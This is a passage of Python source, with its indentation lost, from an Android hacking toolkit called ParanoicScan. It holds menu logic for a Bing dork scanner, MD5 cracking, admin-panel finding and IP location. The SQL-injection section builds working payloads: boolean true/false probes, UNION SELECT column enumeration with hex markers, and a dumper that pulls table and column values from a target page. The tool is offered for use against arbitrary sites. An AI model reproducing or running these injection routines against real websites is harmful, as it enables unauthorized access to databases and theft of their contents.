aplicacion.dialogCreateAlert("SQLI Scanner",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menusql()
if opsql==7 :
aplicacion.dialogCreateAlert("SQLI Scanner")
aplicacion.dialogGetInput("SQLI Scanner","Enter Table")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menusql()
else:
tabla = ref['value']
aplicacion.dialogGetInput("SQLI Scanner","Enter Column1")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menusql()
else:
columna1 = ref['value']
aplicacion.dialogGetInput("SQLI Scanner","Enter Column2")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menusql()
else:
columna2 = ref['value']
aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Getting Values ...")
aplicacion.dialogShow()
don = dumper(webvul,tabla,columna1,columna2)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menusql()
if opsql==8:
menu()
def menu():
aplicacion.dialogCreateAlert("ParanoicScan 0.3 (C) Doddy Hackman 2014")
aplicacion.dialogSetItems(["BingHackTool","SQLI Scanner","MD5 Cracker","Admin Finder","Locate IP","HTTP FingerPrinting","Encoders","About","Exit"])
aplicacion.dialogShow()
re = aplicacion.dialogGetResponse().result
re2 = re["item"]
if re2==0:
aplicacion.dialogCreateAlert("BingHack Tool")
aplicacion.dialogGetInput("BingHack Tool","Enter Dork")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menu()
else:
dork = ref['value']
aplicacion.dialogGetInput("BingHack Tool","Enter number of pages to search")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menu()
else:
paginas = ref['value']
paginas = str(paginas)
aplicacion.dialogCreateSpinnerProgress("BingHack Tool","Searching ...")
aplicacion.dialogShow()
founds = ""
rez = ""
rtafinal = ""
founds = bingscan(dork,paginas)
aplicacion.dialogDismiss()
aplicacion.dialogCreateSpinnerProgress("BingHack Tool","Scanning ...")
aplicacion.dialogShow()
rez = sqltest(founds)
if len(rez) == 0 :
rtafinal = "[-] Not Found"
else :
rtafinal = "[++] Pages Founds\n\n"
rtafinal = rtafinal + rez
rtafinal = rtafinal + "\n[++] Finished\n"
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("BingHack Tool",rtafinal)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menu()
if re2==1 :
global webvul
aplicacion.dialogCreateAlert("SQLI Scanner")
aplicacion.dialogGetInput("SQLI Scanner","Enter Page")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menu()
else:
web = ref['value']
aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Scanning ...")
aplicacion.dialogShow()
pass1,pass2 = bypass("--")
code = toma(web+"1"+pass1+"and"+pass1+"1=0"+pass2)
codedos = toma(web+"1"+pass1+"and"+pass1+"1=1"+pass2)
if not code==codedos:
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner","[+] SQLI Detected")
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
pass1,pass2 = bypass("--")
rtacondata = ""
control_sql = 0
aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Finding columns length")
aplicacion.dialogShow()
number = "unhex(hex(concat(0x4b30425241,1,0x4b30425241)))"
for te in range(2,30):
number = str(number)+","+"unhex(hex(concat(0x4b30425241,"+str(te)+",0x4b30425241)))"
code = toma(web+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+number+pass2)
if(regexver(code)):
numbers = regexdar(code)
control_sql = 1
rtacondata = rtacondata + "[+] Column length : "+str(te)
rtacondata = rtacondata + "\n[+] Numbers "+str(numbers)+" print data"
sql = ""
tex = te + 1
for sqlix in range(2,tex):
sql = str(sql)+","+str(sqlix)
sqli = str(1)+sql
sqla = reem(sqli,numbers[0])
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner",rtacondata)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
webvul = web+"-1"+pass1+"union"+pass1+"select"+pass1+sqla
menusql()
if control_sql==0:
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner","[-] Length dont found")
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
aplicacion.exit()
else:
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner","[-] Not Vulnerable")
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
aplicacion.exit()
if re2==2 :
aplicacion.dialogCreateAlert("MD5 Cracker")
aplicacion.dialogGetInput("MD5 Cracker","Enter MD5")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menu()
else:
target = ref['value']
aplicacion.dialogCreateSpinnerProgress("MD5 Cracker","[+] Cracking ...")
aplicacion.dialogShow()
don = crackmd5(target)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("MD5 Cracker",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menu()
if re2==3 :
aplicacion.dialogCreateAlert("Admin Finder")
aplicacion.dialogGetInput("Admin Finder","Enter Target")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menu()
else:
target = ref['value']
aplicacion.dialogCreateSpinnerProgress("Admin Finder","[+] Searching ...")
aplicacion.dialogShow()
don = scanpanel(target)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("Admin Finder",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menu()
if re2==4 :
aplicacion.dialogCreateAlert("LocateIP")
aplicacion.dialogGetInput("LocateIP","Enter Target")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menu()
else:
target = ref['value']
aplicacion.dialogCreateSpinnerProgress("LocateIP","[+] Searching ...")
aplicacion.dialogShow()
don = locateip(target)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("LocateIP",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menu()
if re2==5 :
aplicacion.dialogCreateAlert("HTTP FingerPrinting")
aplicacion.dialogGetInput("HTTP FingerPrinting","Enter Target")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menu()
else:
target = ref['value']
aplicacion.dialogCreateSpinnerProgress("HTTP FingerPrinting","[+] Scanning ...")
aplicacion.dialogShow()
don = httpfinger(target)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("HTTP FingerPrinting",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menu()
if re2==6 :
menuencoder()
if re2==7 :
about = "This program was written by Doddy Hackman in the summer of 2014"
aplicacion.dialogCreateAlert("About",about)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menu()
if re2==8 :
aplicacion.exit()
menu()
# The End ?